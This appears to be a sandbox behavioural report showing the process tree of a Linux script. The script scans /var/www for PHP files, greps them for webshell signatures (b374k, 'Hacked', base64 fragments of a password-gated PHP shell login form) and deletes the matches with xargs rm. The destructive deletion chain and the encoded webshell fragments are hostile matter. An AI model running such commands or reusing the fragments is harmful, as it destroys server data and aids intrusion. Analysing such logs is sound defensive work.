/usr/bin/xargsxargs -0 grep -Il emad3⤵PID:929
-
/usr/local/sbin/grepgrep -Il emad4⤵PID:932
-
-
/usr/local/bin/grepgrep -Il emad4⤵PID:932
-
-
/usr/sbin/grepgrep -Il emad4⤵PID:932
-
-
/usr/bin/grepgrep -Il emad4⤵PID:932
-
-
/sbin/grepgrep -Il emad4⤵PID:932
-
-
/bin/grepgrep -Il emad4⤵PID:932
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵
- Reads runtime system information
PID:928
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵
- Reads runtime system information
PID:930
-
-
/usr/bin/xargsxargs -0 grep -Il xman3⤵PID:935
-
/usr/local/sbin/grepgrep -Il xman4⤵PID:937
-
-
/usr/local/bin/grepgrep -Il xman4⤵PID:937
-
-
/usr/sbin/grepgrep -Il xman4⤵PID:937
-
-
/usr/bin/grepgrep -Il xman4⤵PID:937
-
-
/sbin/grepgrep -Il xman4⤵PID:937
-
-
/bin/grepgrep -Il xman4⤵PID:937
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:934
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:936
-
-
/usr/bin/xargsxargs -0 grep -Il XIlphUsiO4msro7W13SzX93D3⤵PID:940
-
/usr/local/sbin/grepgrep -Il XIlphUsiO4msro7W13SzX93D4⤵PID:943
-
-
/usr/local/bin/grepgrep -Il XIlphUsiO4msro7W13SzX93D4⤵PID:943
-
-
/usr/sbin/grepgrep -Il XIlphUsiO4msro7W13SzX93D4⤵PID:943
-
-
/usr/bin/grepgrep -Il XIlphUsiO4msro7W13SzX93D4⤵PID:943
-
-
/sbin/grepgrep -Il XIlphUsiO4msro7W13SzX93D4⤵PID:943
-
-
/bin/grepgrep -Il XIlphUsiO4msro7W13SzX93D4⤵PID:943
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:939
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:941
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:944
-
-
/usr/bin/xargsxargs -0 grep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdkMzIxNjkwNzA4YWUwODg5MDgwYmM1ZjdiMjYyZDQ3MScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI3⤵PID:945
-
/usr/local/sbin/grepgrep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdkMzIxNjkwNzA4YWUwODg5MDgwYmM1ZjdiMjYyZDQ3MScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI4⤵PID:949
-
-
/usr/local/bin/grepgrep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdkMzIxNjkwNzA4YWUwODg5MDgwYmM1ZjdiMjYyZDQ3MScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI4⤵PID:949
-
-
/usr/sbin/grepgrep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdkMzIxNjkwNzA4YWUwODg5MDgwYmM1ZjdiMjYyZDQ3MScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI4⤵PID:949
-
-
/usr/bin/grepgrep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdkMzIxNjkwNzA4YWUwODg5MDgwYmM1ZjdiMjYyZDQ3MScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI4⤵PID:949
-
-
/sbin/grepgrep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdkMzIxNjkwNzA4YWUwODg5MDgwYmM1ZjdiMjYyZDQ3MScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI4⤵PID:949
-
-
/bin/grepgrep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdkMzIxNjkwNzA4YWUwODg5MDgwYmM1ZjdiMjYyZDQ3MScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI4⤵PID:949
-
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:946
-
-
/usr/bin/xargsxargs -0 grep -Il PXNnXkJjM2Brrml4KJcQB2cl3⤵PID:951
-
/usr/local/sbin/grepgrep -Il PXNnXkJjM2Brrml4KJcQB2cl4⤵PID:954
-
-
/usr/local/bin/grepgrep -Il PXNnXkJjM2Brrml4KJcQB2cl4⤵PID:954
-
-
/usr/sbin/grepgrep -Il PXNnXkJjM2Brrml4KJcQB2cl4⤵PID:954
-
-
/usr/bin/grepgrep -Il PXNnXkJjM2Brrml4KJcQB2cl4⤵PID:954
-
-
/sbin/grepgrep -Il PXNnXkJjM2Brrml4KJcQB2cl4⤵PID:954
-
-
/bin/grepgrep -Il PXNnXkJjM2Brrml4KJcQB2cl4⤵PID:954
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:950
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:952
-
-
/usr/bin/xargsxargs -0 grep -Il qqeTjC4GRemtQk3⤵PID:957
-
/usr/local/sbin/grepgrep -Il qqeTjC4GRemtQk4⤵PID:959
-
-
/usr/local/bin/grepgrep -Il qqeTjC4GRemtQk4⤵PID:959
-
-
/usr/sbin/grepgrep -Il qqeTjC4GRemtQk4⤵PID:959
-
-
/usr/bin/grepgrep -Il qqeTjC4GRemtQk4⤵PID:959
-
-
/sbin/grepgrep -Il qqeTjC4GRemtQk4⤵PID:959
-
-
/bin/grepgrep -Il qqeTjC4GRemtQk4⤵PID:959
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:956
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵
- Reads runtime system information
PID:958
-
-
/usr/bin/xargsxargs -0 grep -Il BHQfhP4BjWtPyz8zT3⤵PID:962
-
/usr/local/sbin/grepgrep -Il BHQfhP4BjWtPyz8zT4⤵PID:965
-
-
/usr/local/bin/grepgrep -Il BHQfhP4BjWtPyz8zT4⤵PID:965
-
-
/usr/sbin/grepgrep -Il BHQfhP4BjWtPyz8zT4⤵PID:965
-
-
/usr/bin/grepgrep -Il BHQfhP4BjWtPyz8zT4⤵PID:965
-
-
/sbin/grepgrep -Il BHQfhP4BjWtPyz8zT4⤵PID:965
-
-
/bin/grepgrep -Il BHQfhP4BjWtPyz8zT4⤵PID:965
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:961
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:963
-
-
/usr/bin/xargsxargs -0 grep -Il Z9SbKxDW3⤵PID:967
-
/usr/local/sbin/grepgrep -Il Z9SbKxDW4⤵PID:970
-
-
/usr/local/bin/grepgrep -Il Z9SbKxDW4⤵PID:970
-
-
/usr/sbin/grepgrep -Il Z9SbKxDW4⤵PID:970
-
-
/usr/bin/grepgrep -Il Z9SbKxDW4⤵PID:970
-
-
/sbin/grepgrep -Il Z9SbKxDW4⤵PID:970
-
-
/bin/grepgrep -Il Z9SbKxDW4⤵PID:970
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:966
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:968
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:972
-
-
/usr/bin/xargsxargs -0 grep -Il E8BcHrsgsXBGDf3⤵
- Reads runtime system information
PID:973 -
/usr/local/sbin/grepgrep -Il E8BcHrsgsXBGDf4⤵PID:975
-
-
/usr/local/bin/grepgrep -Il E8BcHrsgsXBGDf4⤵PID:975
-
-
/usr/sbin/grepgrep -Il E8BcHrsgsXBGDf4⤵PID:975
-
-
/usr/bin/grepgrep -Il E8BcHrsgsXBGDf4⤵PID:975
-
-
/sbin/grepgrep -Il E8BcHrsgsXBGDf4⤵PID:975
-
-
/bin/grepgrep -Il E8BcHrsgsXBGDf4⤵PID:975
-
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵
- Reads runtime system information
PID:974
-
-
/usr/bin/xargsxargs -0 grep -Il 34SapF2b3⤵PID:977
-
/usr/local/sbin/grepgrep -Il 34SapF2b4⤵PID:981
-
-
/usr/local/bin/grepgrep -Il 34SapF2b4⤵PID:981
-
-
/usr/sbin/grepgrep -Il 34SapF2b4⤵PID:981
-
-
/usr/bin/grepgrep -Il 34SapF2b4⤵PID:981
-
-
/sbin/grepgrep -Il 34SapF2b4⤵PID:981
-
-
/bin/grepgrep -Il 34SapF2b4⤵PID:981
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:976
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵
- Reads runtime system information
PID:979
-
-
/usr/bin/xargsxargs -0 grep -Il PRWV3tQ99H8fhI0ho3⤵PID:984
-
/usr/local/sbin/grepgrep -Il PRWV3tQ99H8fhI0ho4⤵PID:987
-
-
/usr/local/bin/grepgrep -Il PRWV3tQ99H8fhI0ho4⤵PID:987
-
-
/usr/sbin/grepgrep -Il PRWV3tQ99H8fhI0ho4⤵PID:987
-
-
/usr/bin/grepgrep -Il PRWV3tQ99H8fhI0ho4⤵PID:987
-
-
/sbin/grepgrep -Il PRWV3tQ99H8fhI0ho4⤵PID:987
-
-
/bin/grepgrep -Il PRWV3tQ99H8fhI0ho4⤵PID:987
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:983
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:985
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:988
-
-
/usr/bin/xargsxargs -0 grep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPjxpbnB1dCBzaXplPTIwIHR5cGU9cGFzc3dvcmQgbmFtZT0icCIgLz48aW5wdXQgc2l6ZT02MCB0eXBlPXRleHQgbmFtZT0iYyIgLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkhhY2tlZCIgLz48L2Zvcm03⤵
- Reads runtime system information
PID:989 -
/usr/local/sbin/grepgrep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPjxpbnB1dCBzaXplPTIwIHR5cGU9cGFzc3dvcmQgbmFtZT0icCIgLz48aW5wdXQgc2l6ZT02MCB0eXBlPXRleHQgbmFtZT0iYyIgLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkhhY2tlZCIgLz48L2Zvcm04⤵PID:992
-
-
/usr/local/bin/grepgrep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPjxpbnB1dCBzaXplPTIwIHR5cGU9cGFzc3dvcmQgbmFtZT0icCIgLz48aW5wdXQgc2l6ZT02MCB0eXBlPXRleHQgbmFtZT0iYyIgLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkhhY2tlZCIgLz48L2Zvcm04⤵PID:992
-
-
/usr/sbin/grepgrep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPjxpbnB1dCBzaXplPTIwIHR5cGU9cGFzc3dvcmQgbmFtZT0icCIgLz48aW5wdXQgc2l6ZT02MCB0eXBlPXRleHQgbmFtZT0iYyIgLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkhhY2tlZCIgLz48L2Zvcm04⤵PID:992
-
-
/usr/bin/grepgrep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPjxpbnB1dCBzaXplPTIwIHR5cGU9cGFzc3dvcmQgbmFtZT0icCIgLz48aW5wdXQgc2l6ZT02MCB0eXBlPXRleHQgbmFtZT0iYyIgLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkhhY2tlZCIgLz48L2Zvcm04⤵PID:992
-
-
/sbin/grepgrep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPjxpbnB1dCBzaXplPTIwIHR5cGU9cGFzc3dvcmQgbmFtZT0icCIgLz48aW5wdXQgc2l6ZT02MCB0eXBlPXRleHQgbmFtZT0iYyIgLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkhhY2tlZCIgLz48L2Zvcm04⤵PID:992
-
-
/bin/grepgrep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPjxpbnB1dCBzaXplPTIwIHR5cGU9cGFzc3dvcmQgbmFtZT0icCIgLz48aW5wdXQgc2l6ZT02MCB0eXBlPXRleHQgbmFtZT0iYyIgLz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IkhhY2tlZCIgLz48L2Zvcm04⤵PID:992
-
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:990
-
-
/usr/bin/xargsxargs -0 grep -Il b374k3⤵PID:994
-
/usr/local/sbin/grepgrep -Il b374k4⤵PID:998
-
-
/usr/local/bin/grepgrep -Il b374k4⤵PID:998
-
-
/usr/sbin/grepgrep -Il b374k4⤵PID:998
-
-
/usr/bin/grepgrep -Il b374k4⤵PID:998
-
-
/sbin/grepgrep -Il b374k4⤵PID:998
-
-
/bin/grepgrep -Il b374k4⤵PID:998
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:993
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:995
-
-
/usr/bin/xargsxargs -0 grep -Il Hacked3⤵PID:1002
-
/usr/local/sbin/grepgrep -Il Hacked4⤵PID:1005
-
-
/usr/local/bin/grepgrep -Il Hacked4⤵PID:1005
-
-
/usr/sbin/grepgrep -Il Hacked4⤵PID:1005
-
-
/usr/bin/grepgrep -Il Hacked4⤵PID:1005
-
-
/sbin/grepgrep -Il Hacked4⤵PID:1005
-
-
/bin/grepgrep -Il Hacked4⤵PID:1005
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1001
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1003
-
-
/usr/bin/xargsxargs -0 grep -Il Unauth0r1zed3⤵
- Reads runtime system information
PID:1007 -
/usr/local/sbin/grepgrep -Il Unauth0r1zed4⤵PID:1010
-
-
/usr/local/bin/grepgrep -Il Unauth0r1zed4⤵PID:1010
-
-
/usr/sbin/grepgrep -Il Unauth0r1zed4⤵PID:1010
-
-
/usr/bin/grepgrep -Il Unauth0r1zed4⤵PID:1010
-
-
/sbin/grepgrep -Il Unauth0r1zed4⤵PID:1010
-
-
/bin/grepgrep -Il Unauth0r1zed4⤵PID:1010
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1006
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1008
-
-
/usr/bin/xargsxargs -0 grep -Il t3rr0r3⤵PID:1013
-
/usr/local/sbin/grepgrep -Il t3rr0r4⤵PID:1015
-
-
/usr/local/bin/grepgrep -Il t3rr0r4⤵PID:1015
-
-
/usr/sbin/grepgrep -Il t3rr0r4⤵PID:1015
-
-
/usr/bin/grepgrep -Il t3rr0r4⤵PID:1015
-
-
/sbin/grepgrep -Il t3rr0r4⤵PID:1015
-
-
/bin/grepgrep -Il t3rr0r4⤵PID:1015
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1012
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1014
-
-
/usr/bin/xargsxargs -0 grep -Il 0e192062b367640f89ecff7c7f4ae1b93⤵PID:1017
-
/usr/local/sbin/grepgrep -Il 0e192062b367640f89ecff7c7f4ae1b94⤵PID:1020
-
-
/usr/local/bin/grepgrep -Il 0e192062b367640f89ecff7c7f4ae1b94⤵PID:1020
-
-
/usr/sbin/grepgrep -Il 0e192062b367640f89ecff7c7f4ae1b94⤵PID:1020
-
-
/usr/bin/grepgrep -Il 0e192062b367640f89ecff7c7f4ae1b94⤵PID:1020
-
-
/sbin/grepgrep -Il 0e192062b367640f89ecff7c7f4ae1b94⤵PID:1020
-
-
/bin/grepgrep -Il 0e192062b367640f89ecff7c7f4ae1b94⤵PID:1020
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1016
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1018
-
-
/usr/bin/xargsxargs -0 grep -Il 52fFCRq3eSzikNOACwOlABWSU337FD3⤵PID:1024
-
/usr/local/sbin/grepgrep -Il 52fFCRq3eSzikNOACwOlABWSU337FD4⤵PID:1026
-
-
/usr/local/bin/grepgrep -Il 52fFCRq3eSzikNOACwOlABWSU337FD4⤵PID:1026
-
-
/usr/sbin/grepgrep -Il 52fFCRq3eSzikNOACwOlABWSU337FD4⤵PID:1026
-
-
/usr/bin/grepgrep -Il 52fFCRq3eSzikNOACwOlABWSU337FD4⤵PID:1026
-
-
/sbin/grepgrep -Il 52fFCRq3eSzikNOACwOlABWSU337FD4⤵PID:1026
-
-
/bin/grepgrep -Il 52fFCRq3eSzikNOACwOlABWSU337FD4⤵PID:1026
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1023
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1025
-
-
/usr/bin/xargsxargs -0 grep -Il 1JEjqYvbRSA8PMTjB3⤵PID:1028
-
/usr/local/sbin/grepgrep -Il 1JEjqYvbRSA8PMTjB4⤵PID:1031
-
-
/usr/local/bin/grepgrep -Il 1JEjqYvbRSA8PMTjB4⤵PID:1031
-
-
/usr/sbin/grepgrep -Il 1JEjqYvbRSA8PMTjB4⤵PID:1031
-
-
/usr/bin/grepgrep -Il 1JEjqYvbRSA8PMTjB4⤵PID:1031
-
-
/sbin/grepgrep -Il 1JEjqYvbRSA8PMTjB4⤵PID:1031
-
-
/bin/grepgrep -Il 1JEjqYvbRSA8PMTjB4⤵PID:1031
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1027
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1029
-
-
/usr/bin/xargsxargs -0 grep -Il qkLKx22ycIdbEdd2ewNodHRy3⤵PID:1033
-
/usr/local/sbin/grepgrep -Il qkLKx22ycIdbEdd2ewNodHRy4⤵PID:1035
-
-
/usr/local/bin/grepgrep -Il qkLKx22ycIdbEdd2ewNodHRy4⤵PID:1035
-
-
/usr/sbin/grepgrep -Il qkLKx22ycIdbEdd2ewNodHRy4⤵PID:1035
-
-
/usr/bin/grepgrep -Il qkLKx22ycIdbEdd2ewNodHRy4⤵PID:1035
-
-
/sbin/grepgrep -Il qkLKx22ycIdbEdd2ewNodHRy4⤵PID:1035
-
-
/bin/grepgrep -Il qkLKx22ycIdbEdd2ewNodHRy4⤵PID:1035
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1032
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵
- Reads runtime system information
PID:1034
-
-
/usr/bin/xargsxargs -0 grep -Il UApLWfZz3vIhSFBPJvUnolRm3⤵PID:1037
-
/usr/local/sbin/grepgrep -Il UApLWfZz3vIhSFBPJvUnolRm4⤵PID:1039
-
-
/usr/local/bin/grepgrep -Il UApLWfZz3vIhSFBPJvUnolRm4⤵PID:1039
-
-
/usr/sbin/grepgrep -Il UApLWfZz3vIhSFBPJvUnolRm4⤵PID:1039
-
-
/usr/bin/grepgrep -Il UApLWfZz3vIhSFBPJvUnolRm4⤵PID:1039
-
-
/sbin/grepgrep -Il UApLWfZz3vIhSFBPJvUnolRm4⤵PID:1039
-
-
/bin/grepgrep -Il UApLWfZz3vIhSFBPJvUnolRm4⤵PID:1039
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1036
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1038
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1041
-
-
/usr/bin/xargsxargs -0 grep -Il vz3onejOSL3vRSA9Ch3poEEyDkKFFfXnZZZQ647HnV2ceA3⤵PID:1042
-
/usr/local/sbin/grepgrep -Il vz3onejOSL3vRSA9Ch3poEEyDkKFFfXnZZZQ647HnV2ceA4⤵PID:1044
-
-
/usr/local/bin/grepgrep -Il vz3onejOSL3vRSA9Ch3poEEyDkKFFfXnZZZQ647HnV2ceA4⤵PID:1044
-
-
/usr/sbin/grepgrep -Il vz3onejOSL3vRSA9Ch3poEEyDkKFFfXnZZZQ647HnV2ceA4⤵PID:1044
-
-
/usr/bin/grepgrep -Il vz3onejOSL3vRSA9Ch3poEEyDkKFFfXnZZZQ647HnV2ceA4⤵PID:1044
-
-
/sbin/grepgrep -Il vz3onejOSL3vRSA9Ch3poEEyDkKFFfXnZZZQ647HnV2ceA4⤵PID:1044
-
-
/bin/grepgrep -Il vz3onejOSL3vRSA9Ch3poEEyDkKFFfXnZZZQ647HnV2ceA4⤵PID:1044
-
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1043
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1045
-
-
/usr/bin/xargsxargs -0 grep -Il XCafVCH5E7TLib5Vw6PWqyfDDu3⤵PID:1046
-
/usr/local/sbin/grepgrep -Il XCafVCH5E7TLib5Vw6PWqyfDDu4⤵PID:1048
-
-
/usr/local/bin/grepgrep -Il XCafVCH5E7TLib5Vw6PWqyfDDu4⤵PID:1048
-
-
/usr/sbin/grepgrep -Il XCafVCH5E7TLib5Vw6PWqyfDDu4⤵PID:1048
-
-
/usr/bin/grepgrep -Il XCafVCH5E7TLib5Vw6PWqyfDDu4⤵PID:1048
-
-
/sbin/grepgrep -Il XCafVCH5E7TLib5Vw6PWqyfDDu4⤵PID:1048
-
-
/bin/grepgrep -Il XCafVCH5E7TLib5Vw6PWqyfDDu4⤵PID:1048
-
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1047
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1051
-
-
/usr/bin/xargsxargs -0 grep -Il z5IB9IIKD4bAsifd3tTghCaD3⤵PID:1050
-
/usr/local/sbin/grepgrep -Il z5IB9IIKD4bAsifd3tTghCaD4⤵PID:1052
-
-
/usr/local/bin/grepgrep -Il z5IB9IIKD4bAsifd3tTghCaD4⤵PID:1052
-
-
/usr/sbin/grepgrep -Il z5IB9IIKD4bAsifd3tTghCaD4⤵PID:1052
-
-
/usr/bin/grepgrep -Il z5IB9IIKD4bAsifd3tTghCaD4⤵PID:1052
-
-
/sbin/grepgrep -Il z5IB9IIKD4bAsifd3tTghCaD4⤵PID:1052
-
-
/bin/grepgrep -Il z5IB9IIKD4bAsifd3tTghCaD4⤵PID:1052
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1049
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1053
-
-
/usr/bin/xargsxargs -0 grep -Il a5xdnFSPhEOWpff9K02tTUcLdgg8qEgLCLwPPOzw3nt3⤵PID:1054
-
/usr/local/sbin/grepgrep -Il a5xdnFSPhEOWpff9K02tTUcLdgg8qEgLCLwPPOzw3nt4⤵PID:1056
-
-
/usr/local/bin/grepgrep -Il a5xdnFSPhEOWpff9K02tTUcLdgg8qEgLCLwPPOzw3nt4⤵PID:1056
-
-
/usr/sbin/grepgrep -Il a5xdnFSPhEOWpff9K02tTUcLdgg8qEgLCLwPPOzw3nt4⤵PID:1056
-
-
/usr/bin/grepgrep -Il a5xdnFSPhEOWpff9K02tTUcLdgg8qEgLCLwPPOzw3nt4⤵PID:1056
-
-
/sbin/grepgrep -Il a5xdnFSPhEOWpff9K02tTUcLdgg8qEgLCLwPPOzw3nt4⤵PID:1056
-
-
/bin/grepgrep -Il a5xdnFSPhEOWpff9K02tTUcLdgg8qEgLCLwPPOzw3nt4⤵PID:1056
-
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1055
-
-
/usr/bin/xargsxargs -0 grep -Il ZBGmlpULjIylRE83rv3nO9RPviPfwQZbf3⤵
- System Network Configuration Discovery
PID:1058 -
/usr/local/sbin/grepgrep -Il ZBGmlpULjIylRE83rv3nO9RPviPfwQZbf4⤵
- System Network Configuration Discovery
PID:1060
-
-
/usr/local/bin/grepgrep -Il ZBGmlpULjIylRE83rv3nO9RPviPfwQZbf4⤵
- System Network Configuration Discovery
PID:1060
-
-
/usr/sbin/grepgrep -Il ZBGmlpULjIylRE83rv3nO9RPviPfwQZbf4⤵
- System Network Configuration Discovery
PID:1060
-
-
/usr/bin/grepgrep -Il ZBGmlpULjIylRE83rv3nO9RPviPfwQZbf4⤵
- System Network Configuration Discovery
PID:1060
-
-
/sbin/grepgrep -Il ZBGmlpULjIylRE83rv3nO9RPviPfwQZbf4⤵
- System Network Configuration Discovery
PID:1060
-
-
/bin/grepgrep -Il ZBGmlpULjIylRE83rv3nO9RPviPfwQZbf4⤵
- System Network Configuration Discovery
PID:1060
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1057
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1059
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1061
-
-
/usr/bin/xargsxargs -0 grep -Il H1IT0eAYFb2NlKOrCU7jIKWdkhue6jQavQbgrQtcJDMfzfTlDVvaf6OCzetgyPhlERKTWgAdr5iX9qoU6z0NUS2otImreZ33vi7aIVQzdQG0aDVsJDGEXiMpeWE3⤵PID:1062
-
/usr/local/sbin/grepgrep -Il H1IT0eAYFb2NlKOrCU7jIKWdkhue6jQavQbgrQtcJDMfzfTlDVvaf6OCzetgyPhlERKTWgAdr5iX9qoU6z0NUS2otImreZ33vi7aIVQzdQG0aDVsJDGEXiMpeWE4⤵PID:1064
-
-
/usr/local/bin/grepgrep -Il H1IT0eAYFb2NlKOrCU7jIKWdkhue6jQavQbgrQtcJDMfzfTlDVvaf6OCzetgyPhlERKTWgAdr5iX9qoU6z0NUS2otImreZ33vi7aIVQzdQG0aDVsJDGEXiMpeWE4⤵PID:1064
-
-
/usr/sbin/grepgrep -Il H1IT0eAYFb2NlKOrCU7jIKWdkhue6jQavQbgrQtcJDMfzfTlDVvaf6OCzetgyPhlERKTWgAdr5iX9qoU6z0NUS2otImreZ33vi7aIVQzdQG0aDVsJDGEXiMpeWE4⤵PID:1064
-
-
/usr/bin/grepgrep -Il H1IT0eAYFb2NlKOrCU7jIKWdkhue6jQavQbgrQtcJDMfzfTlDVvaf6OCzetgyPhlERKTWgAdr5iX9qoU6z0NUS2otImreZ33vi7aIVQzdQG0aDVsJDGEXiMpeWE4⤵PID:1064
-
-
/sbin/grepgrep -Il H1IT0eAYFb2NlKOrCU7jIKWdkhue6jQavQbgrQtcJDMfzfTlDVvaf6OCzetgyPhlERKTWgAdr5iX9qoU6z0NUS2otImreZ33vi7aIVQzdQG0aDVsJDGEXiMpeWE4⤵PID:1064
-
-
/bin/grepgrep -Il H1IT0eAYFb2NlKOrCU7jIKWdkhue6jQavQbgrQtcJDMfzfTlDVvaf6OCzetgyPhlERKTWgAdr5iX9qoU6z0NUS2otImreZ33vi7aIVQzdQG0aDVsJDGEXiMpeWE4⤵PID:1064
-
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1063
-
-
/usr/bin/xargsxargs -0 grep -Il "Black Ban V1.01"3⤵PID:1066
-
